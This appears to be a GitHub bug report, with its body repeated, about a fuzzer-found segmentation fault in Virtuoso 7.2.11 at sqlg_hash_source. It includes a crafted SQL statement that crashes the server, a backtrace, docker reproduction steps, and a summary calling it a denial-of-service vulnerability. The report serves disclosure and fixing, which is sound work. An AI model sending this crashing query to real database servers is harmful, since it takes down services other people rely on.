The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE x ( x BIGINT UNIQUE CHECK ( CASE WHEN x = ( SELECT x FROM x WHERE ( 1 / CASE WHEN x = ( SELECT x FROM x WHERE x IN ( 1 ) AND ( CASE WHEN x = 1 THEN 1 ELSE x + ( SELECT x FROM x WHERE ( CASE WHEN x = x AND x = x AND x THEN 1.000000 ELSE x + x * 1 + 1 END ) IN ( SELECT DISTINCT x / 1.000000 , 1 FROM x GROUP BY NULL , 'x' , 'x' , 'x' ) ORDER BY x / 1 DESC ) * 1 END ) NOT IN ( SELECT DISTINCT x / 1 , 1 FROM x ) ORDER BY 1.000000 + 1.000000 ASC ) THEN x + x * 1 + 1 END ) IN ( SELECT ( SELECT x FROM x WHERE 'x' AND 1.000000 LIKE 'x' * 'x' OR x BETWEEN 'x' AND 1 ) [ 1 ] FROM x WHERE ( x / 1 ) = x - 1.000000 * 1 * x ORDER BY x - x * 1 + 1 ) ORDER BY x / 1 DESC ) THEN x + x * 1 + 1.000000 END AND ( SELECT CASE WHEN x = 1 THEN 1 ELSE ( SELECT x FROM x WHERE x NOT IN ( 1 ) AND x NOT IN ( 1 ) GROUP BY x ) + x / 1 + 1 END ) < x + x + x ) PRIMARY KEY ) ;
```

backtrace:
```c
#0 0x733cc5 (sqlg_hash_source+0x95)
#1 0x7496ea (sqlg_dt_query_1+0x11ca)
#2 0x72d06e (sqlg_dfe_code+0x45e)
#3 0x7321ec (sqlg_pred_1+0x17c)
#4 0x7324f9 (sqlg_pred_1+0x489)
#5 0x736c81 (sqlg_pred_body_1+0x231)
#6 0x7308f7 (sqlg_make_np_ts+0xc77)
#7 0x749750 (sqlg_dt_query_1+0x1230)
#8 0x72ce44 (sqlg_dfe_code+0x234)
#9 0x71b7bc (sqlc_searched_case+0xb5c)
#10 0x716ada (scalar_exp_generate+0x9fa)
#11 0x733f8b (sqlg_hash_source+0x35b)
#12 0x7496ea (sqlg_dt_query_1+0x11ca)
#13 0x73a40d (sqlg_set_stmt+0x72d)
#14 0x74918b (sqlg_dt_query_1+0xc6b)
#15 0x739381 (sqlg_make_dt+0x461)
#16 0x74912e (sqlg_dt_query_1+0xc0e)
#17 0x72d06e (sqlg_dfe_code+0x45e)
#18 0x7321ec (sqlg_pred_1+0x17c)
#19 0x7324f9 (sqlg_pred_1+0x489)
#20 0x736c81 (sqlg_pred_body_1+0x231)
#21 0x7308f7 (sqlg_make_np_ts+0xc77)
#22 0x749750 (sqlg_dt_query_1+0x1230)
#23 0x72ce44 (sqlg_dfe_code+0x234)
#24 0x71af7c (sqlc_searched_case+0x31c)
#25 0x716ada (scalar_exp_generate+0x9fa)
#26 0x7321ec (sqlg_pred_1+0x17c)
#27 0x7324f9 (sqlg_pred_1+0x489)
#28 0x736c81 (sqlg_pred_body_1+0x231)
#29 0x7308f7 (sqlg_make_np_ts+0xc77)
#30 0x749750 (sqlg_dt_query_1+0x1230)
#31 0x72d06e (sqlg_dfe_code+0x45e)
#32 0x7321ec (sqlg_pred_1+0x17c)
#33 0x7324f9 (sqlg_pred_1+0x489)
#34 0x736c81 (sqlg_pred_body_1+0x231)
#35 0x7308f7 (sqlg_make_np_ts+0xc77)
#36 0x749750 (sqlg_dt_query_1+0x1230)
#37 0x72ce44 (sqlg_dfe_code+0x234)
#38 0x71af7c (sqlc_searched_case+0x31c)
#39 0x716ada (scalar_exp_generate+0x9fa)
#40 0x7321ec (sqlg_pred_1+0x17c)
#41 0x7324f9 (sqlg_pred_1+0x489)
#42 0x7324f9 (sqlg_pred_1+0x489)
#43 0x736c81 (sqlg_pred_body_1+0x231)
#44 0x7308f7 (sqlg_make_np_ts+0xc77)
#45 0x749750 (sqlg_dt_query_1+0x1230)
#46 0x74a9e7 (sqlg_top_1+0x107)
#47 0x70ffb4 (sqlo_top_select+0x164)
#48 0x6b9b6f (sql_stmt_comp+0x8bf)
#49 0x6bc9d2 (sql_compile_1+0x1a62)
#50 0x4e213f (ddl_table_check_constraints_define_triggers+0x1af)
#51 0x4e462d (ddl_table_constraints+0xd0d)
#52 0x4e5331 (sql_ddl_node_input_1+0xbc1)
#53 0x4e57ee (sql_ddl_node_input+0x10e)
#54 0x7bcb0b (ddl_node_input_1+0x19b)
#55 0x7bd1e7 (qn_without_ac_at+0xc7)
#56 0x7af05e (qn_input+0x3ce)
#57 0x7c1be9 (qr_dml_array_exec+0x839)
#58 0x7ce602 (sf_sql_execute+0x15d2)
#59 0x7cecde (sf_sql_execute_w+0x17e)
#60 0x7d799d (sf_sql_execute_wrapper+0x3d)
#61 0xe214bc (future_wrapper+0x3fc)
#62 0xe28dbe (_thread_boot+0x11e)
#63 0x7f1a36b7c609 (start_thread+0xd9)
#64 0x7f1a3694c133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `sqlg_hash_source`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `sqlg_hash_source`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE x ( x BIGINT UNIQUE CHECK ( CASE WHEN x = ( SELECT x FROM x WHERE ( 1 / CASE WHEN x = ( SELECT x FROM x WHERE x IN ( 1 ) AND ( CASE WHEN x = 1 THEN 1 ELSE x + ( SELECT x FROM x WHERE ( CASE WHEN x = x AND x = x AND x THEN 1.000000 ELSE x + x * 1 + 1 END ) IN ( SELECT DISTINCT x / 1.000000 , 1 FROM x GROUP BY NULL , 'x' , 'x' , 'x' ) ORDER BY x / 1 DESC ) * 1 END ) NOT IN ( SELECT DISTINCT x / 1 , 1 FROM x ) ORDER BY 1.000000 + 1.000000 ASC ) THEN x + x * 1 + 1 END ) IN ( SELECT ( SELECT x FROM x WHERE 'x' AND 1.000000 LIKE 'x' * 'x' OR x BETWEEN 'x' AND 1 ) [ 1 ] FROM x WHERE ( x / 1 ) = x - 1.000000 * 1 * x ORDER BY x - x * 1 + 1 ) ORDER BY x / 1 DESC ) THEN x + x * 1 + 1.000000 END AND ( SELECT CASE WHEN x = 1 THEN 1 ELSE ( SELECT x FROM x WHERE x NOT IN ( 1 ) AND x NOT IN ( 1 ) GROUP BY x ) + x / 1 + 1 END ) < x + x + x ) PRIMARY KEY ) ;
```

backtrace:
```c
#0 0x733cc5 (sqlg_hash_source+0x95)
#1 0x7496ea (sqlg_dt_query_1+0x11ca)
#2 0x72d06e (sqlg_dfe_code+0x45e)
#3 0x7321ec (sqlg_pred_1+0x17c)
#4 0x7324f9 (sqlg_pred_1+0x489)
#5 0x736c81 (sqlg_pred_body_1+0x231)
#6 0x7308f7 (sqlg_make_np_ts+0xc77)
#7 0x749750 (sqlg_dt_query_1+0x1230)
#8 0x72ce44 (sqlg_dfe_code+0x234)
#9 0x71b7bc (sqlc_searched_case+0xb5c)
#10 0x716ada (scalar_exp_generate+0x9fa)
#11 0x733f8b (sqlg_hash_source+0x35b)
#12 0x7496ea (sqlg_dt_query_1+0x11ca)
#13 0x73a40d (sqlg_set_stmt+0x72d)
#14 0x74918b (sqlg_dt_query_1+0xc6b)
#15 0x739381 (sqlg_make_dt+0x461)
#16 0x74912e (sqlg_dt_query_1+0xc0e)
#17 0x72d06e (sqlg_dfe_code+0x45e)
#18 0x7321ec (sqlg_pred_1+0x17c)
#19 0x7324f9 (sqlg_pred_1+0x489)
#20 0x736c81 (sqlg_pred_body_1+0x231)
#21 0x7308f7 (sqlg_make_np_ts+0xc77)
#22 0x749750 (sqlg_dt_query_1+0x1230)
#23 0x72ce44 (sqlg_dfe_code+0x234)
#24 0x71af7c (sqlc_searched_case+0x31c)
#25 0x716ada (scalar_exp_generate+0x9fa)
#26 0x7321ec (sqlg_pred_1+0x17c)
#27 0x7324f9 (sqlg_pred_1+0x489)
#28 0x736c81 (sqlg_pred_body_1+0x231)
#29 0x7308f7 (sqlg_make_np_ts+0xc77)
#30 0x749750 (sqlg_dt_query_1+0x1230)
#31 0x72d06e (sqlg_dfe_code+0x45e)
#32 0x7321ec (sqlg_pred_1+0x17c)
#33 0x7324f9 (sqlg_pred_1+0x489)
#34 0x736c81 (sqlg_pred_body_1+0x231)
#35 0x7308f7 (sqlg_make_np_ts+0xc77)
#36 0x749750 (sqlg_dt_query_1+0x1230)
#37 0x72ce44 (sqlg_dfe_code+0x234)
#38 0x71af7c (sqlc_searched_case+0x31c)
#39 0x716ada (scalar_exp_generate+0x9fa)
#40 0x7321ec (sqlg_pred_1+0x17c)
#41 0x7324f9 (sqlg_pred_1+0x489)
#42 0x7324f9 (sqlg_pred_1+0x489)
#43 0x736c81 (sqlg_pred_body_1+0x231)
#44 0x7308f7 (sqlg_make_np_ts+0xc77)
#45 0x749750 (sqlg_dt_query_1+0x1230)
#46 0x74a9e7 (sqlg_top_1+0x107)
#47 0x70ffb4 (sqlo_top_select+0x164)
#48 0x6b9b6f (sql_stmt_comp+0x8bf)
#49 0x6bc9d2 (sql_compile_1+0x1a62)
#50 0x4e213f (ddl_table_check_constraints_define_triggers+0x1af)
#51 0x4e462d (ddl_table_constraints+0xd0d)
#52 0x4e5331 (sql_ddl_node_input_1+0xbc1)
#53 0x4e57ee (sql_ddl_node_input+0x10e)
#54 0x7bcb0b (ddl_node_input_1+0x19b)
#55 0x7bd1e7 (qn_without_ac_at+0xc7)
#56 0x7af05e (qn_input+0x3ce)
#57 0x7c1be9 (qr_dml_array_exec+0x839)
#58 0x7ce602 (sf_sql_execute+0x15d2)
#59 0x7cecde (sf_sql_execute_w+0x17e)
#60 0x7d799d (sf_sql_execute_wrapper+0x3d)
#61 0xe214bc (future_wrapper+0x3fc)
#62 0xe28dbe (_thread_boot+0x11e)
#63 0x7f1a36b7c609 (start_thread+0xd9)
#64 0x7f1a3694c133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the `sqlg_hash_source` function of Virtuoso 7.2.11 allows attackers to cause a Denial of Service (DoS) via a specially crafted SQL query. The issue arises from the execution of complex SQL statements that lead to a crash, indicating a potential vulnerability in the SQL parser or execution engine.